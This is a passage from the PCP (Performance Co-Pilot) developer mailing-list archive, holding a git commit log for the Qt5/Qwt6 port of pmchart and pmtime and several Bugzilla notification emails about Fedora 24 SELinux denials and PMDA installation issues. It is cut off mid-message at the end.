src/libpcp_qwt/src/qwt_widget_overlay.cpp | 376 +++++++++ src/libpcp_qwt/src/qwt_widget_overlay.h | 148 +++ src/pmchart/chart.cpp | 67 + src/pmchart/chart.h | 20 src/pmchart/sampling.cpp | 22 src/pmchart/timeaxis.cpp | 5 src/pmchart/tracing.cpp | 4 src/pmtime/pmtimearch.cpp | 43 - src/pmtime/pmtimearch.h | 2 src/pmtime/pmtimearch.ui | 10 src/pmtime/showboundsdialog.cpp | 4 src/pmtime/showboundsdialog.ui | 20 182 files changed, 18576 insertions(+), 8328 deletions(-) commit 0234127882e190fdd3798592b1ee0e037f6ce9b0 Author: Nathan Scott Date: Mon Oct 3 17:20:10 2016 +1100 pmchart: resolve y-axis scaling issue for util charts Issue arrived with the Qt5/Qwt6.1 update, where auto-scaling was being circumvented due to presence of qNaN values in the dataset. QwtPlot::updateAxes() in particular was affected by these, ultimately traversing inValid axis code paths where it should not have. commit c4679479e95724a88ca52526d4cb8e64848a1b96 Author: Nathan Scott Date: Fri Sep 16 15:14:51 2016 +1000 pmchart: fix rendering of the time axis by hiding the canvas commit 26c62e67b9f2f4aab5fc0449d699a0b636c86b75 Author: Nathan Scott Date: Fri Sep 16 14:22:06 2016 +1000 pmtime: fix rendering of the time sliders, no scale text commit 853202aef9b0427b6d553bc2b58542a56ac70b92 Author: Nathan Scott Date: Wed Sep 14 17:32:09 2016 +1000 pmchart: rewrite legend rendering for qwt 6.x support commit 99f0d02d5f139a51fa4c42c6e14b008630b28c34 Author: Nathan Scott Date: Tue Sep 13 11:11:09 2016 +1000 pmchart: fix minor compilation warning Switch from deprecated dark() QColor API to darker(). commit db025b177fe5acc079f014be37238667b904366f Author: Nathan Scott Date: Mon Sep 12 17:33:03 2016 +1000 qt tools: enable use of Qt5 toolchain, headers and libraries Move forward with support for Qt5 for all Qt tools and libs in PCP, and also latest Qwt 6.1.4 (also needed for Qt5). Many API and ABI changes here. A bit of fine-tuning remains to reach some of the UI neatness from Qt4, but it's a clean build for the first time at least, and the tools run. (Qt5 required for PCP GUI tools under MacOSX El Capitan.) From bugzilla@redhat.com Mon Oct 3 02:10:18 2016 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: pcp@oss.sgi.com Delivered-To: pcp@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 0E7B17CA4 for ; Mon, 3 Oct 2016 02:10:18 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id D413E8F8037 for ; Mon, 3 Oct 2016 00:10:14 -0700 (PDT) X-ASG-Debug-ID: 1475478611-0bf57c7e20dfcb0001-S8gJnT Received: from smtp-mx-server-8.servers.netregistry.net (smtp-outgoing-69.servers.netregistry.net [202.124.241.69]) by cuda.sgi.com with ESMTP id Nou26bh25qBj5aYG (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128 verify=NO) for ; Mon, 03 Oct 2016 00:10:12 -0700 (PDT) X-Barracuda-Envelope-From: bugzilla@redhat.com X-Barracuda-RBL-Trusted-Forwarder: 202.124.241.69 Received: from mx1-phx2.redhat.com ([209.132.183.26]) by smtp-mx-server-8.servers.netregistry.net protocol: esmtps (Exim 4.84_2 #1 (Debian)) id 1bqxO2-0004Bc-A8 for ; Mon, 03 Oct 2016 18:10:10 +1100 Received: from bugweb-03.app.bz.hst.phx2.redhat.com (bugweb-03.app.bz.hst.phx2.redhat.com [10.5.117.33]) by mx1-phx2.redhat.com (8.14.4/8.14.4) with ESMTP id u9379uWa022133 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Mon, 3 Oct 2016 03:09:57 -0400 X-Barracuda-Registry: Level1 [redhat.com/209.132.183.26] X-Barracuda-Effective-Source-IP: mx1-phx2.redhat.com[209.132.183.26] X-Barracuda-Apparent-Source-IP: 209.132.183.26 X-Barracuda-RBL-IP: 209.132.183.26 X-Barracuda-BBL-IP: 209.132.183.26 Received: from bugweb-03.app.bz.hst.phx2.redhat.com (localhost [127.0.0.1]) by bugweb-03.app.bz.hst.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id u9379uRJ021533 for ; Mon, 3 Oct 2016 03:09:56 -0400 Received: (from apache@localhost) by bugweb-03.app.bz.hst.phx2.redhat.com (8.14.4/8.14.4/Submit) id u9379uGM021532; Mon, 3 Oct 2016 03:09:56 -0400 X-Authentication-Warning: bugweb-03.app.bz.hst.phx2.redhat.com: apache set sender to bugzilla@redhat.com using -f From: bugzilla@redhat.com To: pcp@kenj.com.au Subject: [Bug 1381116] PCP PMDA Installation Fails Date: Mon, 03 Oct 2016 07:09:55 +0000 X-ASG-Orig-Subj: [Bug 1381116] PCP PMDA Installation Fails Precedence: bulk Auto-Submitted: auto-generated X-Bugzilla-Reason: CC X-Bugzilla-Type: changed X-Bugzilla-Watch-Reason: None X-Bugzilla-Classification: Fedora X-Bugzilla-Product: Fedora X-Bugzilla-Component: pcp X-Bugzilla-Sub-Component: X-Bugzilla-Version: 24 X-Bugzilla-Keywords: X-Bugzilla-Severity: unspecified X-Bugzilla-Who: myllynen@redhat.com X-Bugzilla-Status: NEW X-Bugzilla-Priority: unspecified X-Bugzilla-Assigned-To: nathans@redhat.com X-Bugzilla-Target-Milestone: --- X-Bugzilla-Changed-Fields: X-Bugzilla-Comment: public X-Bugzilla-Reporter: myllynen@redhat.com X-Loop: bugzilla@redhat.com X-BeenThere: bugzilla@redhat.com Message-ID: In-Reply-To: References: Content-Type: text/plain; charset="UTF-8" Content-Transfer-Encoding: quoted-printable X-Bugzilla-URL: https://bugzilla.redhat.com/ MIME-Version: 1.0 X-Barracuda-Connect: smtp-outgoing-69.servers.netregistry.net[202.124.241.69] X-Barracuda-Start-Time: 1475478612 X-Barracuda-Encrypted: ECDHE-RSA-AES128-GCM-SHA256 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Barracuda-Scan-Msg-Size: 508 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, NO_REAL_NAME X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.33422 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 NO_REAL_NAME From: does not include a real name 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header https://bugzilla.redhat.com/show_bug.cgi?id=3D1381116 --- Comment #2 from Marko Myllynen --- Steps to reproduce: 1. Install Fedora 24 Server 2. Update, put SELinux to Permissive 3. Install PCP, enable pmcd/pmlogger/pmie 4. Install pcp-pmda-libvirt from updates-testing 5. Continue as in comment#0 --=20 You are receiving this mail because: You are on the CC list for the bug. Unsubscribe from this bug https://bugzilla.redhat.com/token.cgi?t=3D6mxX2Xb= SUH&a=3Dcc_unsubscribe= From bugzilla@redhat.com Mon Oct 3 02:33:45 2016 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: pcp@oss.sgi.com Delivered-To: pcp@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 87E617CA1 for ; Mon, 3 Oct 2016 02:33:45 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 4B89B8F8035 for ; Mon, 3 Oct 2016 00:33:42 -0700 (PDT) X-ASG-Debug-ID: 1475480018-0bf57b1e92de230001-S8gJnT Received: from smtp-mx-server-8.servers.netregistry.net (smtp-outgoing-69.servers.netregistry.net [202.124.241.69]) by cuda.sgi.com with ESMTP id 4CHWGlGLNS9z3WtH (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128 verify=NO) for ; Mon, 03 Oct 2016 00:33:39 -0700 (PDT) X-Barracuda-Envelope-From: bugzilla@redhat.com X-Barracuda-RBL-Trusted-Forwarder: 202.124.241.69 Received: from mx1-phx2.redhat.com ([209.132.183.26]) by smtp-mx-server-8.servers.netregistry.net protocol: esmtps (Exim 4.84_2 #1 (Debian)) id 1bqxkk-0008Vc-Hu for ; Mon, 03 Oct 2016 18:33:37 +1100 Received: from bugweb-03.app.bz.hst.phx2.redhat.com (bugweb-03.app.bz.hst.phx2.redhat.com [10.5.117.33]) by mx1-phx2.redhat.com (8.14.4/8.14.4) with ESMTP id u937XQfk033588 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Mon, 3 Oct 2016 03:33:26 -0400 X-Barracuda-Registry: Level1 [redhat.com/209.132.183.26] X-Barracuda-Effective-Source-IP: mx1-phx2.redhat.com[209.132.183.26] X-Barracuda-Apparent-Source-IP: 209.132.183.26 X-Barracuda-RBL-IP: 209.132.183.26 X-Barracuda-BBL-IP: 209.132.183.26 Received: from bugweb-03.app.bz.hst.phx2.redhat.com (localhost [127.0.0.1]) by bugweb-03.app.bz.hst.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id u937XQS5027662 for ; Mon, 3 Oct 2016 03:33:26 -0400 Received: (from apache@localhost) by bugweb-03.app.bz.hst.phx2.redhat.com (8.14.4/8.14.4/Submit) id u937XQGw027661; Mon, 3 Oct 2016 03:33:26 -0400 X-Authentication-Warning: bugweb-03.app.bz.hst.phx2.redhat.com: apache set sender to bugzilla@redhat.com using -f From: bugzilla@redhat.com To: pcp@kenj.com.au Subject: [Bug 1381127] New: PCP SELinux issues Date: Mon, 03 Oct 2016 07:33:26 +0000 X-ASG-Orig-Subj: [Bug 1381127] New: PCP SELinux issues Precedence: bulk Auto-Submitted: auto-generated X-Bugzilla-Reason: CC X-Bugzilla-Type: new X-Bugzilla-Watch-Reason: None X-Bugzilla-Classification: Fedora X-Bugzilla-Product: Fedora X-Bugzilla-Component: pcp X-Bugzilla-Sub-Component: X-Bugzilla-Version: 24 X-Bugzilla-Keywords: X-Bugzilla-Severity: unspecified X-Bugzilla-Who: myllynen@redhat.com X-Bugzilla-Status: NEW X-Bugzilla-Priority: unspecified X-Bugzilla-Assigned-To: nathans@redhat.com X-Bugzilla-Target-Milestone: --- X-Bugzilla-Changed-Fields: bug_id short_desc product version component assigned_to reporter qa_contact cc attachments.created X-Bugzilla-Comment: public X-Bugzilla-Reporter: myllynen@redhat.com X-Loop: bugzilla@redhat.com X-BeenThere: bugzilla@redhat.com Message-ID: Content-Type: text/plain; charset="UTF-8" Content-Transfer-Encoding: quoted-printable X-Bugzilla-URL: https://bugzilla.redhat.com/ MIME-Version: 1.0 X-Barracuda-Connect: smtp-outgoing-69.servers.netregistry.net[202.124.241.69] X-Barracuda-Start-Time: 1475480019 X-Barracuda-Encrypted: ECDHE-RSA-AES128-GCM-SHA256 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Barracuda-Scan-Msg-Size: 1829 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, NO_REAL_NAME X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.33423 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 NO_REAL_NAME From: does not include a real name 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header https://bugzilla.redhat.com/show_bug.cgi?id=3D1381127 Bug ID: 1381127 Summary: PCP SELinux issues Product: Fedora Version: 24 Component: pcp Assignee: nathans@redhat.com Reporter: myllynen@redhat.com QA Contact: extras-qa@fedoraproject.org CC: brolley@redhat.com, fche@redhat.com, lberk@redhat.com, mgoodwin@redhat.com, nathans@redhat.com, pcp@kenj.com.au, scox@redhat.com Created attachment 1206766 --> https://bugzilla.redhat.com/attachment.cgi?id=3D1206766&action=3Dedit PCP AVCs Description of problem: Fedora 24 + updates + pcp-3.11.5-1.fc24 + SELinux in Permissive + pmcd/pmlogger/pmie services enabled gives the attached AVCs on boot. This is probably due to SELinux policies but filing initially against the p= cp component to give PCP developers a heads-up, at this rate PCP appears as a second class citizen, it's the only component at least on my systems having severe issues with SELinux. $ wc -l pcp-avcs.txt 54 pcp-avcs.txt Also see https://bugzilla.redhat.com/show_bug.cgi?id=3D1337968 which haven'= t seen any activity in months. But note that this BZ has new AVCs, e.g., the ldcon= fig one which originates from ctypes/util.py which gets called when a Python PM= DA is installed. grep SYSCALL audit.log gave no hits so if you need more information I'd sug= gest you to reproduce locally as that should be trivial. Thanks. Version-Release number of selected component (if applicable): pcp-3.11.5-1.fc24.x86_64 selinux-policy-targeted-3.13.1-191.17.fc24.noarch --=20 You are receiving this mail because: You are on the CC list for the bug. Unsubscribe from this bug https://bugzilla.redhat.com/token.cgi?t=3DoD24Hqo= nTH&a=3Dcc_unsubscribe= From bugzilla@redhat.com Mon Oct 3 02:34:26 2016 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: pcp@oss.sgi.com Delivered-To: pcp@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id ABD667CA1 for ; Mon, 3 Oct 2016 02:34:26 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 2F49AAC001 for ; Mon, 3 Oct 2016 00:34:23 -0700 (PDT) X-ASG-Debug-ID: 1475480056-0bf815670f116970001-S8gJnT Received: from smtp-mx-server-8.servers.netregistry.net (smtp-outgoing-67.servers.netregistry.net [202.124.241.67]) by cuda.sgi.com with ESMTP id B0N97pSWDDTTWFEo (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128 verify=NO) for ; Mon, 03 Oct 2016 00:34:18 -0700 (PDT) X-Barracuda-Envelope-From: bugzilla@redhat.com X-Barracuda-RBL-Trusted-Forwarder: 202.124.241.67 Received: from mx1-phx2.redhat.com ([209.132.183.26]) by smtp-mx-server-8.servers.netregistry.net protocol: esmtps (Exim 4.84_2 #1 (Debian)) id 1bqxlN-0006sc-Jb for ; Mon, 03 Oct 2016 18:34:16 +1100 Received: from bugweb-03.app.bz.hst.phx2.redhat.com (bugweb-03.app.bz.hst.phx2.redhat.com [10.5.117.33]) by mx1-phx2.redhat.com (8.14.4/8.14.4) with ESMTP id u937Y6YJ033757 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Mon, 3 Oct 2016 03:34:06 -0400 X-Barracuda-Registry: Level1 [redhat.com/209.132.183.26] X-Barracuda-Effective-Source-IP: mx1-phx2.redhat.com[209.132.183.26] X-Barracuda-Apparent-Source-IP: 209.132.183.26 X-Barracuda-RBL-IP: 209.132.183.26 X-Barracuda-BBL-IP: 209.132.183.26 Received: from bugweb-03.app.bz.hst.phx2.redhat.com (localhost [127.0.0.1]) by bugweb-03.app.bz.hst.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id u937Y69H027744 for ; Mon, 3 Oct 2016 03:34:06 -0400 Received: (from apache@localhost) by bugweb-03.app.bz.hst.phx2.redhat.com (8.14.4/8.14.4/Submit) id u937Y5rd027743; Mon, 3 Oct 2016 03:34:05 -0400 X-Authentication-Warning: bugweb-03.app.bz.hst.phx2.redhat.com: apache set sender to bugzilla@redhat.com using -f From: bugzilla@redhat.com To: pcp@kenj.com.au Subject: [Bug 1337968] PCP SELinux issues Date: Mon, 03 Oct 2016 07:34:04 +0000 X-ASG-Orig-Subj: [Bug 1337968] PCP SELinux issues Precedence: bulk Auto-Submitted: auto-generated X-Bugzilla-Reason: CC X-Bugzilla-Type: changed X-Bugzilla-Watch-Reason: None X-Bugzilla-Classification: Fedora X-Bugzilla-Product: Fedora X-Bugzilla-Component: selinux-policy X-Bugzilla-Sub-Component: X-Bugzilla-Version: 23 X-Bugzilla-Keywords: X-Bugzilla-Severity: medium X-Bugzilla-Who: myllynen@redhat.com X-Bugzilla-Status: NEW X-Bugzilla-Priority: medium X-Bugzilla-Assigned-To: lvrabec@redhat.com X-Bugzilla-Target-Milestone: --- X-Bugzilla-Changed-Fields: X-Bugzilla-Comment: public X-Bugzilla-Reporter: myllynen@redhat.com X-Loop: bugzilla@redhat.com X-BeenThere: bugzilla@redhat.com Message-ID: In-Reply-To: References: Content-Type: text/plain; charset="UTF-8" Content-Transfer-Encoding: quoted-printable X-Bugzilla-URL: https://bugzilla.redhat.com/ MIME-Version: 1.0 X-Barracuda-Connect: smtp-outgoing-67.servers.netregistry.net[202.124.241.67] X-Barracuda-Start-Time: 1475480057 X-Barracuda-Encrypted: ECDHE-RSA-AES128-GCM-SHA256 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Barracuda-Scan-Msg-Size: 379 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, NO_REAL_NAME X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.33423 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 NO_REAL_NAME From: does not include a real name 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header https://bugzilla.redhat.com/show_bug.cgi?id=3D1337968 --- Comment #7 from Marko Myllynen --- https://bugzilla.redhat.com/show_bug.cgi?id=3D1381127 contains even more PCP AVCs. --=20 You are receiving this mail because: You are on the CC list for the bug. Unsubscribe from this bug https://bugzilla.redhat.com/token.cgi?t=3DHtMeBI7= vo7&a=3Dcc_unsubscribe= From bugzilla@redhat.com Mon Oct 3 22:16:05 2016 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: pcp@oss.sgi.com Delivered-To: pcp@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 1F7747CA0 for ; Mon, 3 Oct 2016 22:16:05 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id A41E8AC001 for ; Mon, 3 Oct 2016 20:16:01 -0700 (PDT) X-ASG-Debug-ID: 1475550953-0bf8156711158df0001-S8gJnT Received: from smtp-mx-server-8.servers.netregistry.net (smtp-outgoing-67.servers.netregistry.net [202.124.241.67]) by cuda.sgi.com with ESMTP id EXSy1QDYE5BkHTDO (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128 verify=NO) for ; Mon, 03 Oct 2016 20:15:55 -0700 (PDT) X-Barracuda-Envelope-From: bugzilla@redhat.com X-Barracuda-RBL-Trusted-Forwarder: 202.124.241.67 Received: from mx1-phx2.redhat.com ([209.132.183.26]) by smtp-mx-server-8.servers.netregistry.net protocol: esmtps (Exim 4.84_2 #1 (Debian)) id 1brGCq-0005Sa-BE for ; Tue, 04 Oct 2016 14:15:52 +1100 Received: from bugweb-04.app.bz.hst.phx2.redhat.com (bugweb-04.app.bz.hst.phx2.redhat.com [10.5.117.34]) by mx1-phx2.redhat.com (8.14.4/8.14.4) with ESMTP id u943Fd2Q008884 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Mon, 3 Oct 2016 23:15:39 -0400 X-Barracuda-Registry: Level1 [redhat.com/209.132.183.26] X-Barracuda-Effective-Source-IP: mx1-phx2.redhat.com[209.132.183.26] X-Barracuda-Apparent-Source-IP: 209.132.183.26 X-Barracuda-RBL-IP: 209.132.183.26 X-Barracuda-BBL-IP: 209.132.183.26 Received: from bugweb-04.app.bz.hst.phx2.redhat.com (localhost [127.0.0.1]) by bugweb-04.app.bz.hst.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id u943FdFb021220 for ; Mon, 3 Oct 2016 23:15:39 -0400 Received: (from apache@localhost) by bugweb-04.app.bz.hst.phx2.redhat.com (8.14.4/8.14.4/Submit) id u943FcI8021219; Mon, 3 Oct 2016 23:15:38 -0400 X-Authentication-Warning: bugweb-04.app.bz.hst.phx2.redhat.com: apache set sender to bugzilla@redhat.com using -f From: bugzilla@redhat.com To: pcp@kenj.com.au Subject: [Bug 1275293] Suboptimal client initialization with -L Date: Tue, 04 Oct 2016 03:15:38 +0000 X-ASG-Orig-Subj: [Bug 1275293] Suboptimal client initialization with -L Precedence: bulk Auto-Submitted: auto-generated X-Bugzilla-Reason: CC X-Bugzilla-Type: changed X-Bugzilla-Watch-Reason: None X-Bugzilla-Classification: Fedora X-Bugzilla-Product: Fedora X-Bugzilla-Component: pcp X-Bugzilla-Sub-Component: X-Bugzilla-Version: 23 X-Bugzilla-Keywords: X-Bugzilla-Severity: unspecified X-Bugzilla-Who: nathans@redhat.com X-Bugzilla-Status: ASSIGNED X-Bugzilla-Priority: unspecified X-Bugzilla-Assigned-To: nathans@redhat.com X-Bugzilla-Target-Milestone: --- X-Bugzilla-Changed-Fields: bug_status X-Bugzilla-Comment: public X-Bugzilla-Reporter: myllynen@redhat.com X-Loop: bugzilla@redhat.com X-BeenThere: bugzilla@redhat.com Message-ID: In-Reply-To: References: Content-Type: text/plain; charset="UTF-8" Content-Transfer-Encoding: quoted-printable X-Bugzilla-URL: https://bugzilla.redhat.com/ MIME-Version: 1.0 X-Barracuda-Connect: smtp-outgoing-67.servers.netregistry.net[202.124.241.67] X-Barracuda-Start-Time: 1475550954 X-Barracuda-Encrypted: ECDHE-RSA-AES128-GCM-SHA256 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Barracuda-Scan-Msg-Size: 1365 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, NO_REAL_NAME X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.33448 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 NO_REAL_NAME From: does not include a real name 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header https://bugzilla.redhat.com/show_bug.cgi?id=3D1275293 Nathan Scott changed: What |Removed |Added ---------------------------------------------------------------------------- Status|NEW |ASSIGNED --- Comment #4 from Nathan Scott --- (In reply to Marko Myllynen from comment #0) > Description of problem: > When starting PCP clients with -L, there's a needless PMCD connection > attempted: > sun_path=3D"/var/lib/pcp/tmp/pmcd/root.socket"}, 110) =3D -1 EACCES (Perm= ission To clarify something from Kens note in #c1 that I missed - this is a pmdaro= ot connection attempt and not a pmcd connection attempt as was initially thoug= ht.=20 This is not something we can skip, PMDAs running in DSO mode can use pmdaro= ot services too. > access("/var/lib/pcp/pmdas//var/lib/pcp/pmdas/linux/pmda_linux.so", F_OK)= =3D > -1 ENOENT (No such file or directory) I've tweaked the code (commit da4d9c82db70a) such that the ordering of DSO lookups now hits the correct paths first and we no longer see these access(= 2) attempts with dodgey paths using the default DSO table. --=20 You are receiving this mail because: You are on the CC list for the bug. Unsubscribe from this bug https://bugzilla.redhat.com/token.cgi?t=3DSZRxNlQ= jhm&a=3Dcc_unsubscribe= From bugzilla@redhat.com Tue Oct 4 00:45:43 2016 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: pcp@oss.sgi.com Delivered-To: pcp@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 677CE7CA0 for ; Tue, 4 Oct 2016 00:45:43 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 368C98F8033 for ; Mon, 3 Oct 2016 22:45:40 -0700 (PDT) X-ASG-Debug-ID: 1475559935-0bf57b1e92121530001-S8gJnT Received: from smtp-mx-server-8.servers.netregistry.net (smtp-outgoing-70.servers.netregistry.net [202.124.241.70]) by cuda.sgi.com with ESMTP id MrqyWmXjvDMfNqNF (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128 verify=NO) for ; Mon, 03 Oct 2016 22:45:37 -0700 (PDT) X-Barracuda-Envelope-From: bugzilla@redhat.com X-Barracuda-RBL-Trusted-Forwarder: 202.124.241.70 Received: from mx1-phx2.redhat.com ([209.132.183.26]) by smtp-mx-server-8.servers.netregistry.net protocol: esmtps (Exim 4.84_2 #1 (Debian)) id 1brIXi-00041R-K1 for ; Tue, 04 Oct 2016 16:45:34 +1100 Received: from bugweb-03.app.bz.hst.phx2.redhat.com (bugweb-03.app.bz.hst.phx2.redhat.com [10.5.117.33]) by mx1-phx2.redhat.com (8.14.4/8.14.4) with ESMTP id u945jLe1060020 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 4 Oct 2016 01:45:21 -0400 X-Barracuda-Registry: Level1 [redhat.com/209.132.183.26] X-Barracuda-Effective-Source-IP: mx1-phx2.redhat.com[209.132.183.26] X-Barracuda-Apparent-Source-IP: 209.132.183.26 X-Barracuda-RBL-IP: 209.132.183.26 X-Barracuda-BBL-IP: 209.132.183.26 Received: from bugweb-03.app.bz.hst.phx2.redhat.com (localhost [127.0.0.1]) by bugweb-03.app.bz.hst.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id u945jLOv040067 for ; Tue, 4 Oct 2016 01:45:21 -0400 Received: (from apache@localhost) by bugweb-03.app.bz.hst.phx2.redhat.com (8.14.4/8.14.4/Submit) id u945jKMG040066; Tue, 4 Oct 2016 01:45:20 -0400 X-Authentication-Warning: bugweb-03.app.bz.hst.phx2.redhat.com: apache set sender to bugzilla@redhat.com using -f From: bugzilla@redhat.com To: pcp@kenj.com.au Subject: [Bug 1381127] PCP SELinux issues Date: Tue, 04 Oct 2016 05:45:19 +0000 X-ASG-Orig-Subj: [Bug 1381127] PCP SELinux issues Precedence: bulk Auto-Submitted: auto-generated X-Bugzilla-Reason: CC X-Bugzilla-Type: changed X-Bugzilla-Watch-Reason: None X-Bugzilla-Classification: Fedora X-Bugzilla-Product: Fedora X-Bugzilla-Component: selinux-policy X-Bugzilla-Sub-Component: X-Bugzilla-Version: 24 X-Bugzilla-Keywords: X-Bugzilla-Severity: unspecified X-Bugzilla-Who: nathans@redhat.com X-Bugzilla-Status: NEW X-Bugzilla-Priority: unspecified X-Bugzilla-Assigned-To: lvrabec@redhat.com X-Bugzilla-Target-Milestone: --- X-Bugzilla-Changed-Fields: cc component assigned_to X-Bugzilla-Comment: public X-Bugzilla-Reporter: myllynen@redhat.com X-Loop: bugzilla@redhat.com X-BeenThere: bugzilla@redhat.com Message-ID: In-Reply-To: References: Content-Type: text/plain; charset="UTF-8" Content-Transfer-Encoding: quoted-printable X-Bugzilla-URL: https://bugzilla.redhat.com/ MIME-Version: 1.0 X-Barracuda-Connect: smtp-outgoing-70.servers.netregistry.net[202.124.241.70] X-Barracuda-Start-Time: 1475559936 X-Barracuda-Encrypted: ECDHE-RSA-AES128-GCM-SHA256 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Barracuda-Scan-Msg-Size: 1974 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, NO_REAL_NAME X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.33451 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 NO_REAL_NAME From: does not include a real name 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header https://bugzilla.redhat.com/show_bug.cgi?id=3D1381127 Nathan Scott changed: What |Removed |Added ---------------------------------------------------------------------------- CC| |dominick.grift@gmail.com, | |dwalsh@redhat.com, | |lvrabec@redhat.com, | |mgrepl@redhat.com, | |plautrba@redhat.com, | |pmoore@redhat.com Component|pcp |selinux-policy Assignee|nathans@redhat.com |lvrabec@redhat.com --- Comment #1 from Nathan Scott --- Auditing Marko's attached log shows there's a few categories of failures. The first lot are wierd things like PCP commands or shell scripts not being able to run system utilities like chown, kill, hostname, which, etc. I'm unsure what to do with those, will leave for 